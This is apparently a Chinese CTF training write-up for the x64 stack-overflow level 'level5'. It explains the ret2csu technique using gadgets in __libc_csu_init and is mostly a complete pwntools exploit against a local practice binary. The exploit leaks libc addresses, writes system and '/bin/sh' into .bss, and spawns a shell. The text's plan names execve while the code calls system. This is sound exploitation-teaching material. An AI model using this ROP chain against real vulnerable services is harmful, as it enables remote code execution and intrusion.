蒸米 栈溢出的x64位 level5 wp
_libc_csu_init函数是程序调用libc库用来对程序进行初始化的函数,一般先于main函数执行
而我们则是要利用_libc_csu_init其中两端特殊的gadget
gadget 位于 0x400600 和 0x40061a地址
先借用0x40061a 处的gadget 将想要压入寄存器的参数压入
顺序依次 rbx rbp r12 r13 r14 r15 特别是rbx=0 rbp=1 r12=target_function
然后再调用 0x400600处的gadget将 r13 r14 r15 的值和rdx rsi edi交换
这个通用gadget中还隐藏着两个常用的gadget,我们可以通过错位码来得到它
通过 0x400621和0x400623获得了pop rsi _r15 和pop_rdi两个gadget ,就可以轻松调用两个参数的函数了
payload:
payload = junk + p64(0x40061a) + p64(rbx)+ p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload +=p64(0x400600) # mov r13 rdx;mov r14 rsi ; mov r15 edi;
payload +='a'*0x38
#填充0x38个字符 控制rsp指向我们想要返回的函数地址
>payload +=p64(return_add)
解题思路
- 利用write函数泄露出libc内存空间的信息
- 通过泄露的信息获得execve函数的地址
- 将execve函数的地址和参数"/bin/sh\x00"一起写入bss section中
- 通过gadget 的call (r12,rbp,8) 调用execve函数
exp:
from pwn import*
p = process('./leve52')
elf = ELF('./leve52')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
write_got = elf.got['write']
write_plt = elf.symbols['write']
read_got = elf.got['read']
read_plt = elf.symbols['read']
bss = elf.bss()
start = 0x40061a
end = 0x400600
main = elf.symbols['main']
junk = 'a'*(0x80+8)
fakeebp = 'a'*8
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = 'a' * 0x80 + fakeebp
payload += p64(start) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(end)
payload += 'a' * 0x38
payload += p64(last)
p.send(payload)
sleep(1)
print "*************leak write_add**********"
write_lib = libc.symbols['write']
print "write_lib --> [%s] "%write_lib
p.recvuntil("Hello, World\n")
csu(0,1,write_got,8,write_got,1,main)
write_add = u64(p.recv(8))
print "write_add --> [%s]" %hex(write_add)
lib_base = write_add - write_lib
print "libc base --> [%s]" %hex(lib_base)
system_add = lib_base + libc.symbols['system'] # system can not work up
print "system_add --> [%s]" %hex(system_add)
print "************write address and \'\bin\sh'\'***************"
payload = junk + p64(start) + p64(0) + p64(1) + p64(read_got) + p64(16) + p64(bss) + p64(0)
payload += p64(end)
payload += 'a'*0x38
payload +=p64(main)
p.recvuntil('Hello, World\n')
p.send(payload)
p.send(p64(system_add)+'/bin/sh\x00')
payload = junk + p64(start)
payload += p64(0) + p64(1) + p64(bss) + p64(0) + p64(0) + p64(bss+8)
payload += p64(end)
payload += 'a'*0x38
payload +=p64(main)
p.recvuntil('Hello, World\n')
p.send(payload)
p.interactive()